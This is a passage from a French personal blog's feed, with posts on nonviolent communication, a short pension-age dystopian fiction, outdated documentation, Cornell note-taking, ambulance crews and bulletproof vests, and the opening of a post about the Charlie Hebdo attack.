&lt;p&gt;Un non, n&amp;rsquo;est pas signe de rejet, d&amp;rsquo;exclusion ou de désamour. 
Pourtant, j&amp;rsquo;ai peur que l&amp;rsquo;autre perçoive mon non comme un manque d&amp;rsquo;intérêt,
d&amp;rsquo;amitié, d&amp;rsquo;amour … alors je dis oui ou je mens. Répondre à la question suivante
aide à accepter le non de l&amp;rsquo;autre.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quand l&amp;rsquo;autre dit non, à quoi dit-il oui ? &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;L&amp;rsquo;adolescent&lt;/em&gt;&lt;br&gt;
— &lt;strong&gt;Non&lt;/strong&gt;, je ne vais pas au diner de famille.&lt;br&gt;
— &lt;strong&gt;Oui&lt;/strong&gt;, je voudrais que le diner de famille soit joyeux et marrant comme avec
mes potes. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;L&amp;rsquo;enseignant&lt;/em&gt;&lt;br&gt;
— &lt;strong&gt;Non&lt;/strong&gt;, on ne parle dans le fond.&lt;br&gt;
— &lt;strong&gt;Oui&lt;/strong&gt;, j&amp;rsquo;aimerais partager avec vous ce que j&amp;rsquo;enseigne. J&amp;rsquo;essaie de rendre
mon cours aussi intéressant que wow ! &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Piège 5: J&amp;rsquo;ai du mal à faire bon usage de mes sentiments&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Quatre principes importants de la communication non violente m&amp;rsquo;aident à me
recentrer sur mes sentiments et à éliminer ce qui engendre de la violence. Ces
principes m&amp;rsquo;aident à développer mon &lt;strong&gt;assertivité&lt;/strong&gt;, ma capacité à me
positionner avec clarté et vigueur sans agresser et mon &lt;strong&gt;empathie&lt;/strong&gt;, ma
capacité à comprendre la position de l&amp;rsquo;autre sans démission. &lt;/p&gt;
&lt;p&gt;Ces quatre enjeux de la communication: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Observer sans juger&lt;/strong&gt;&lt;br&gt;
Il y a les faits et ce que cela me fait. Je me
  contente de poser un constat. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ressentir sans interpréter&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Ce point est difficile à comprendre pour moi, vous pouvez m&amp;rsquo;aider.&lt;/em&gt;&lt;br&gt;
Certains sentiments, sont des sentiments « primaires » positifs (alerte,
enchanté, paisible, joyeux…) ou négatifs (affamé, déprimé, blessé…) d&amp;rsquo;autres
sont des sentiments comprenant une interprétation ou un jugement (incompétent,
incompris, rabaissé, harcelé, …). Je crois qu&amp;rsquo;il ne faut pas prêter des
intentions à l&amp;rsquo;autre et lui dire ses « quatre vérités ». Mes sentiments sont là
pour m&amp;rsquo;informer sur l&amp;rsquo;état de mes besoins. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Distinguer les besoins fondamentaux de mes envies&lt;/strong&gt; &lt;br&gt;
Ne pas confondre les vrais besoins et les stratégies que l&amp;rsquo;on développe pour
y parvenir. Mes vrais besoins sont ceux qui interviennent dans le &lt;strong&gt;vivre
ensemble&lt;/strong&gt;; l&amp;rsquo;écoute, le partage, la compréhension, l&amp;rsquo;entraide, l&amp;rsquo;amour, la
&lt;a href="2013-07-23-ce-besoin-de-reconnaissance.html"&gt;reconnaissance&lt;/a&gt;, l&amp;rsquo;appartenance, le sentiment d&amp;rsquo;être
utile, … &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Demander ou agir&lt;/strong&gt; 
Il ne faut pas s&amp;rsquo;attendre à ce que l&amp;rsquo;on &lt;strong&gt;devine&lt;/strong&gt; ce dont j&amp;rsquo;ai besoin. Il faut
éviter de s&amp;rsquo;enfoncer dans un défaitisme qui nous aigrit. Se prendre en charge et
formuler positivement ses demandes. &lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour conclure, l&amp;rsquo;auteur nous invite a avoir un rapport paisible avec le temps.
Le plus important, c&amp;rsquo;est la qualité de nos relations. L&amp;rsquo;humain cherche un
profond contentement de son &lt;strong&gt;être&lt;/strong&gt; dans la relation à soi, la relation aux
autres et la relation à l&amp;rsquo;Autre (la troisième dimension). Il privilégie la
relation (être) au résultat (faire). &lt;/p&gt;
&lt;p&gt;Pour &lt;a href="http://www.thomasdansembourg.com/fr/index.html"&gt;Thomas d&amp;rsquo;Ansembourg&lt;/a&gt;, le choix fondamental de l&amp;rsquo;existence c&amp;rsquo;est: &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Être heureux ou avoir raison&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="Cessez d'être gentil, soyez vrai" src="/images/livrecessezgentilvrai.jpg"&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai lu l&amp;rsquo;édition illustrée du livre. Je vous invite à faire de même … &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://hipppy.deviantart.com/art/beyond-the-smile-65611787"&gt;hipppy&lt;/a&gt;. Derrière le
sourire forcé, un visage qui réfléchit à être vrai.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f"&gt;
&lt;p&gt;C&amp;rsquo;est plutôt de la communication non violente et c&amp;rsquo;est très important. La
communication, c&amp;rsquo;est la vie. Le manque de communication, c&amp;rsquo;est la mort !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:g"&gt;
&lt;p&gt;résonne / écho … c&amp;rsquo;est beau hein !&amp;#160;&lt;a class="footnote-backref" href="#fnref:g" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:h"&gt;
&lt;p&gt;Il est bien clair que j&amp;rsquo;emploie « devoir » mais que l&amp;rsquo;on n&amp;rsquo;est obligé
à rien. D&amp;rsquo;un autre côté, si on lit, c&amp;rsquo;est que l&amp;rsquo;on veut se diriger vers un mieux
…&amp;#160;&lt;a class="footnote-backref" href="#fnref:h" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:i"&gt;
&lt;p&gt;J&amp;rsquo;utilise le « je » mais je ne me retrouve pas dans tout. Mon cas (et
probablement le tien) n&amp;rsquo;est pas désespéré ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:i" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:j"&gt;
&lt;p&gt;Ce n&amp;rsquo;est absolument pas ma manière d&amp;rsquo;éduquer mes enfants … mais ceux qui me
connaissent le savent.&amp;#160;&lt;a class="footnote-backref" href="#fnref:j" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Pension</title><link href="http://blog.namok.be/2015-03-13-pension.html" rel="alternate"/><published>2015-03-13T00:00:00+01:00</published><updated>2015-03-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-03-13:/2015-03-13-pension.html</id><summary type="html">Fiction au sujet de l'âge de la pension.</summary><content type="html">&lt;p&gt;&lt;img alt="illusion_by_nothorn-d1pzenm.jpg" src="/images/illusion_by_nothorn-d1pzenm.jpg" title="illusion_by_nothorn-d1pzenm.jpg, mar. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Ce matin, je me suis levé sans que ma mère ne doive m&amp;rsquo;appeler. Il faut dire que c&amp;rsquo;est un jour important, c&amp;rsquo;est la première fois que l&amp;rsquo;on me fera un prélèvement de sperme à la visite médicale.&lt;/p&gt;
&lt;p&gt;La manière dont ça se passe reste assez secrète. Les grands n&amp;rsquo;en parlent pas. Alors j&amp;rsquo;espère que l&amp;rsquo;infirmière sera jolie, que ses seins tendront sa blouse et qu&amp;rsquo;elle s&amp;rsquo;occupera du prélèvement.&lt;/p&gt;
&lt;p&gt;Ça ne se passera pas du tout comme ça.&lt;/p&gt;
&lt;p&gt;Pour les filles, c&amp;rsquo;est un peu différent mais, comme nous, dès quelles atteignent leurs seize ans, le centre médical commence des prélèvements. Il y en aura jusqu&amp;rsquo;à la fin des études.&lt;/p&gt;
&lt;p&gt;Dans les années deux-milles, ils ont constaté que les femmes avaient leurs enfants (quelle drôle d&amp;rsquo;expression) &lt;em&gt;plus tard&lt;/em&gt;. Si avant elles étaient pour la plupart enceintes dès leur vingt ans, c&amp;rsquo;est vers la trentaine que les filles de l&amp;rsquo;an deux-milles pensaient à enfanter. Elles tenaient donc leur premier bébé dans les bras après avoir travaillé quelques années.&lt;/p&gt;
&lt;p&gt;La réforme des pensions de deux-mille-quinze a, une nouvelle fois, changé la donne. Beaucoup de jeunes parents comptaient sur leurs parents pour assurer la garde des enfants (complète ou occasionnelle). Les grands-parents, pensionnés, pouvaient soulager les jeunes parents alors en plein dans la vie active (comme si les pensionnés étaient inactifs).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;espérance de vie s&amp;rsquo;est allongée. L&amp;rsquo;âge de la retraite s&amp;rsquo;est vu passer de soixante ans à septante ans. Mes parents ne seront pas disponibles de si tôt pour jouer ce rôle de grand-parent. J&amp;rsquo;ai aussi envie de m&amp;rsquo;amuser, de voyager, d&amp;rsquo;évoluer dans ma carrière avant de me caser avec femme et enfants. Les filles aussi veulent pouvoir s&amp;rsquo;amuser et s&amp;rsquo;occuper de leur carrière avant de profiter des congés parentaux obligatoires. Un an par parent et par enfant. C&amp;rsquo;est la norme, c&amp;rsquo;est obligatoire.&lt;/p&gt;
&lt;p&gt;Pour mes copains de classe comme pour moi, nous n&amp;rsquo;envisagerons pas d&amp;rsquo;avoir des enfants avant nos quarante ans. Avoir des enfants, c&amp;rsquo;est la crise de la quarantaine de ma génération !&lt;/p&gt;
&lt;p&gt;Passé quarante ans, les risques de complications pendant la grossesse s&amp;rsquo;accroissent. Ce n&amp;rsquo;est pas un problème dès lors que notre sperme et nos ovules sont en sécurité au centre médical.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai seize ans, je suis un adolescent pour dix ans encore…&lt;/p&gt;
&lt;p&gt;Je vais prendre une de ces nouvelles pilules, du &lt;em&gt;soma&lt;/em&gt; ça s&amp;rsquo;appelle &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Il parrait que ça va devenir obligatoire…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://nothorn.deviantart.com/art/Illusion-104108530"&gt;nothorn&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Relire &lt;a href="http://fr.wikipedia.org/wiki/Le_Meilleur_des_mondes"&gt;Le meilleur des mondes&lt;/a&gt; d&amp;rsquo;Aldous Huxley&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Méfiez-vous des vielles documentations</title><link href="http://blog.namok.be/2015-03-12-vielles-docs.html" rel="alternate"/><published>2015-03-12T00:00:00+01:00</published><updated>2015-03-12T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-03-12:/2015-03-12-vielles-docs.html</id><summary type="html">Méfiez-vous des vielles documentations</summary><content type="html">&lt;p&gt;&lt;img alt="groundbreaking_by_alltelleringet-d5ne2l9.jpg" src="/images/groundbreaking_by_alltelleringet-d5ne2l9.jpg" title="groundbreaking_by_alltelleringet-d5ne2l9.jpg, mar. 2015"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR Une vielle doc est peut-être obsolète, ça vaut la peine de vérifier&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Internet est un village.&lt;/p&gt;
&lt;p&gt;Trouvez de la documentation ou un &lt;em&gt;howto&lt;/em&gt; est très simple &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Je peux facilement trouver un tuto sur « comment faire un nœud de cravate ? » en deux clics.&lt;/p&gt;
&lt;p&gt;Pour les cours que je donne &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, liés à l&amp;rsquo;informatique, c&amp;rsquo;est d&amp;rsquo;autant plus facile qu&amp;rsquo;il existe moult documentations sur tous les sujets que j&amp;rsquo;aborde.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est d&amp;rsquo;autant plus difficile en fait !&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est d&amp;rsquo;autant plus difficile car depuis quelques années, je donne moins de liens ou de sources moi-même. Je laisse mes étudiants chercher. La faute à qui ? Aux générations précédentes qui, dès que je proposais un lien, s&amp;rsquo;empressaient d&amp;rsquo;en utiliser un autre. Espoir vain, d&amp;rsquo;un lien meilleur.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est difficile car le domaine évolue vite et le tuto qui était valable hier ne l&amp;rsquo;est plus aujourd&amp;rsquo;hui.&lt;/p&gt;
&lt;p&gt;Suivez les conseils de votre prof et les liens qu&amp;rsquo;il propose ou &lt;strong&gt;regardez bien les dates des articles&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;À contrario, &lt;a href="2015-03-12-vielles-docs.html"&gt;certains articles sont toujours d&amp;rsquo;actualité plusieurs années après&lt;/a&gt; (&lt;em&gt;recursively inside&lt;/em&gt;)…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://alltelleringet.deviantart.com/art/Groundbreaking-341618589"&gt;alltelleringet&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Voire trop simple. On pourrait croire que présenter un examen pour lequel l&amp;rsquo;accès internet est autorisé demande moins de préparation. C&amp;rsquo;est faux ! Les profs aujourd&amp;rsquo;hui connaissent (plus ou moins bien) l&amp;rsquo;outil et s&amp;rsquo;ils autorisent l&amp;rsquo;accès à internet, c&amp;rsquo;est que l&amp;rsquo;examen le nécessite et que sa difficulté est adaptée.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;J&amp;rsquo;allais écrire « dans le domaine dans lequel j&amp;rsquo;enseigne » … mais c&amp;rsquo;est trop pédant. Remarque que « pédant », c&amp;rsquo;est pédant aussi ! Bref !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Prise de notes, le système Cornell</title><link href="http://blog.namok.be/2015-03-03-prise-de-notes-cornell.html" rel="alternate"/><published>2015-03-03T00:00:00+01:00</published><updated>2015-03-03T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-03-03:/2015-03-03-prise-de-notes-cornell.html</id><summary type="html">Prise de notes, le système Cornell</summary><content type="html">&lt;p&gt;&lt;img alt="don_t_leave_me____by_iskander1989-d5w0rsx.jpg" src="/images/don_t_leave_me____by_iskander1989-d5w0rsx.jpg" title="don_t_leave_me____by_iskander1989-d5w0rsx.jpg, mar. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Tout le monde est appelé à prendre des notes un jour ou l&amp;rsquo;autre. Pour les étudiants, c&amp;rsquo;est aujourd&amp;rsquo;hui.&lt;/p&gt;
&lt;p&gt;La prise de note dépend du contexte; l&amp;rsquo;enseignant, le support, la matière, ce que l&amp;rsquo;on sait en arrivant. Il y a moult méthodes de prises de notes. Parmi elles, il devrait y avoir des méthodes qui sont meilleures que d&amp;rsquo;autres ! En tout cas, ça ne coute rien d&amp;rsquo;en parler.&lt;/p&gt;
&lt;p&gt;Walter Pauk propose un système de prise de notes connu sous le nom de &lt;strong&gt;système de Cornell&lt;/strong&gt; puisqu&amp;rsquo;il vient de l&amp;rsquo;université de Cornell.&lt;/p&gt;
&lt;p&gt;Il est déjà clair pour moi que des notes sont destinées à être relues. Il est fort probable que l&amp;rsquo;on voudra en retenir tout ou une partie. Le système propose de prévoir quatre zones sur chaque feuille:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une zone de quelques centimètres en haut du document pour les informations générales;&lt;/li&gt;
&lt;li&gt;une &lt;strong&gt;zone pour la prise de notes&lt;/strong&gt; brute, elle prend toute la page excepté une marge de cinq à sept centimètres à gauche et un pied de page également de cinq à sept centimètres;&lt;/li&gt;
&lt;li&gt;la zone de gauche est la &lt;strong&gt;zone d&amp;rsquo;indices&lt;/strong&gt; tandis que;&lt;/li&gt;
&lt;li&gt;la zone du bas est la &lt;strong&gt;zone de résumé&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La première zone permet de faire du rangement et, accessoirement, de se rappeler le nom du prof ! Elle contient le nom du cours, le titre de la leçon, le nom du prof, la numérotation des pages… ce que l&amp;rsquo;on estime nécessaire au rangement.&lt;/p&gt;
&lt;p&gt;La deuxième zone est celle utilisée au cours. Elle doit rester aérée. Elle contient une idée par paragraphe. L&amp;rsquo;utilisation d&amp;rsquo;abréviations est recommandée pour prendre notes suffisamment rapidement. C&amp;rsquo;est mieux d&amp;rsquo;utiliser des abréviations que l&amp;rsquo;on connait et dont on peut se rappeler.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est dans cette zone que l&amp;rsquo;on écrit pour rester éveillé pendant la leçon &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; !&lt;/p&gt;
&lt;p&gt;Personnellement, j&amp;rsquo;essayais de rendre mes notes « graphiques ». Je n&amp;rsquo;hésite pas à ajouter des schémas, des dessins ou simplement des flèches, des lignes pour rendre chaque page &lt;em&gt;unique&lt;/em&gt; ou du moins &lt;em&gt;personnalisée&lt;/em&gt;. J&amp;rsquo;ai une mémoire plutôt visuelle.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Verbal to visual&lt;/em&gt; présente le système &lt;em&gt;Cornell++&lt;/em&gt; plus graphique pour ceux qui aiment. J&amp;rsquo;aime.&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/screen-cornell-2.jpg" title="screen-cornell-2.jpg"&gt;&lt;img alt="screen-cornell-2.jpg" src="/images/screen-cornell-2.jpg" title="screen-cornell-2.jpg, janv. 2017"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Les deux autres zones seront probablement complétées après la séance. Ne pas attendre trop longtemps. Après vingt-quatre heures, les idées risquent de ne plus être très fraiches.&lt;/p&gt;
&lt;p&gt;La troisième zone, la marge de gauche, recueillera des questions et des idées clés. Elle servira aux révisions. Pour étudier, il suffit de cacher la zone de prise de note et de répondre aux questions ou de réfléchir à ce qu&amp;rsquo;inspirent les mots clés.&lt;/p&gt;
&lt;p&gt;La quatrième zone, le pied de page, résume la page.&lt;/p&gt;
&lt;p&gt;Pour compléter et pour ceux qui aiment les vidéos; 
&lt;a href="http://youtu.be/WtW9IyE04OQ"&gt;Vidéo « How to take Cornell notes » par Jennifer DesRoches&lt;/a&gt;, 
&lt;a href="https://www.youtube.com/watch?v=JPSmXRIlyS8"&gt;Creating Cornell notes&lt;/a&gt; et 
&lt;a href="https://www.youtube.com/watch?v=pZgMpjjgCRA"&gt;Verbal to Visual&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Tout ça ne coute rien d&amp;rsquo;essayer …&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://voir.ca/chroniques/prise-de-tete/2015/01/21/apprenez-leur-a-prendre-des-notes/"&gt;Apprenez-leur à prendre des notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://youtu.be/WtW9IyE04OQ"&gt;Vidéo « How to take Cornell notes » par Jennifer DesRoches&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;John Dunlosky et coll., « Improving Students’ Learning With Effective Learning Techniques: Promising Directions From Cognitive and Educational Psychology », Psychological Science in the Public Interest, 2013 [&lt;a href="http://www.indiana.edu/~pcl/rgoldsto/courses/dunloskyimprovinglearning.pdf"&gt;pdf&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Réference rapide de l&amp;rsquo;université de Cornell [&lt;a href="http://namok.be/public/documents/cornellsystem.pdf"&gt;pdf&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crédit image, &lt;a href="https://www.youtube.com/watch?v=pZgMpjjgCRA"&gt;Verbal to visual&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://iskander1989.deviantart.com/art/Don-t-leave-me-356114625"&gt;iskander1989&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Oui, il m&amp;rsquo;arrive de prendre des notes uniquement pour rester éveillé et surtout attentif.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Pourquoi les ambulanciers ne portent pas un gilet pare-balle ?</title><link href="http://blog.namok.be/2015-03-03-ambulanciers-gilets-pare-balles.html" rel="alternate"/><published>2015-03-03T00:00:00+01:00</published><updated>2015-03-03T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-03-03:/2015-03-03-ambulanciers-gilets-pare-balles.html</id><summary type="html">Pourquoi les ambulanciers ne portent pas un gilet pare-balle ?</summary><content type="html">&lt;p&gt;&lt;img alt="bullet_proof_by_mockingbirdkids-d4nbu62.jpg" src="/images/bullet_proof_by_mockingbirdkids-d4nbu62.jpg" title="bullet_proof_by_mockingbirdkids-d4nbu62.jpg, mar. 2015"&gt;&lt;/p&gt;
&lt;p&gt;À &lt;a href="http://www.lameuse.be/1224156/article/2015-02-27/soumagne-les-ambulanciers-travaillent-desormais-avec-des-gilets-pare-balles"&gt;Soumagne, des ambulanciers (privés) ont été équipés d&amp;rsquo;un gilet pare-balle&lt;/a&gt;. À &lt;a href="http://www.rtbf.be/info/societe/detail_des-gilets-pare-lames-pour-proteger-les-ambulanciers?id=7979176"&gt;Mons, il a été question d&amp;rsquo;équiper le personnel de gilet pare-lame&lt;/a&gt;. « Les hôpitaux, et plus spécifiquement leurs services d&amp;rsquo;urgences, sont souvent confrontés à l&amp;rsquo;agressivité de certains patients ou de l&amp;rsquo;entourage de ces derniers ». C&amp;rsquo;est du moins ce que je peux &lt;a href="http://www.7sur7.be/7s7/fr/1502/Belgique/article/detail/2174105/2015/01/07/Des-ambulanciers-bientot-equipes-de-gilets-pare-balles-a-Malines.dhtml"&gt;lire dans la presse&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Proposer un gilet pare-lame &lt;strong&gt;discret&lt;/strong&gt; et quasi confondable avec les vareuses oranges habituelles est probablement une bonne idée. Équiper son personnel de gilets pare-balles identiques à ceux des forces de l&amp;rsquo;ordre est totalement aberrant.&lt;/p&gt;
&lt;p&gt;Le rôle du policier est de protéger et de faire respecter la loi. Il est compréhensible que les « méchants » s&amp;rsquo;en prennent à eux &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Il est normal de protéger le policier d&amp;rsquo;un gilet pare-balle.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;ambulancier va sauver des vies (et ramasser des bitus). Il ne doit en aucun cas être confondu avec un policier. Il porte une vareuse orange et un sac de matériel de premiers secours. Le policier porte un gilet noir et une arme… &lt;strong&gt;rien à voir&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Donner une gilet pare-balle à des ambulanciers s&amp;rsquo;est renforcer la confusion que font certains. Un jour un fou incapable de différencier un ambulancier d&amp;rsquo;un pompier ou d&amp;rsquo;un flic me dit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quand je vois des bleus, je vois rouge !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Il est important de sensibiliser ton voisin. Un ambulancier vient parce que quelqu&amp;rsquo;un estime que tu as besoin d&amp;rsquo;une aide médicale. C&amp;rsquo;est tout.&lt;/p&gt;
&lt;p&gt;Le jour où l&amp;rsquo;on me donnera un gilet pare-balle pour aller porter secours à des gens sera probablement le jour où je remettrai ma démission.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://mockingbirdkids.deviantart.com/art/Bullet-Proof-281048186"&gt;Mockingbirdkids&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Non, on n&amp;rsquo;est pas dans un monde parfait. Oui, il existe des gens méchants et des cons. Ces deux catégories vont potentiellement agresser les forces de l&amp;rsquo;ordre. Il existe aussi des flics cons mais c&amp;rsquo;est un autre débat et le serpent se mort la queue !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Il l'avait bien cherché Charlie</title><link href="http://blog.namok.be/2015-01-13-Il-l-avait-bien-cherche-Charlie.html" rel="alternate"/><published>2015-01-13T00:00:00+01:00</published><updated>2015-01-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-01-13:/2015-01-13-Il-l-avait-bien-cherche-Charlie.html</id><summary type="html">Toujours avec Charlie hebdo, certaines personnes disent qu'il l'avait bien cherché. Heu.</summary><content type="html">&lt;p&gt;&lt;img alt="ashes-to-ashes-by-decors.jpg" src="/images/ashes-to-ashes-by-decors.jpg" title="ashes-to-ashes-by-decors.jpg, janv. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Finalement, ils l&amp;rsquo;avaient bien cherché chez Charlie Hebdo !&lt;/p&gt;
&lt;p&gt;Les cendres ne sont pas encore froides.&lt;br&gt;
Aux chiottes les cendres !&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Tu les balanceras aux chiottes, comme ça chaque fois que tu t’assoiras sur ma tombe, je verrai ton cul »&lt;br&gt;
Wolinski&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tout le monde semble d&amp;rsquo;accord de dire que &lt;a href="http://tailspin.fr/post/107696839163/pour-mes-eleves-de-seine-saint-denis"&gt;c&amp;rsquo;est mal d&amp;rsquo;assassiner 12 personnes&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Je pense que c&amp;rsquo;est mal. Je ne suis cependant pas sûr que &lt;a href="https://monsieursamovar.wordpress.com/2015/01/09/leur-minute-de-silence/"&gt;tout le monde pense comme moi&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; sur ce coup.&lt;/p&gt;
&lt;p&gt;Il serait mal venu de dire qu&amp;rsquo;ils méritaient de mourir. Pourtant certaines personnes le disent. D&amp;rsquo;autres — pas uniquement des musulmans hein ! — plus politiquement corrects, font suivre leur indignation d&amp;rsquo;un :&lt;/p&gt;
&lt;p&gt;— Ils l&amp;rsquo;avaient bien cherché !&lt;br&gt;
— Ils l&amp;rsquo;avaient bien cherché, on ne se moque pas du Prophète &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est là qu&amp;rsquo;est l&amp;rsquo;os ! En fait, je vois deux os.&lt;/p&gt;
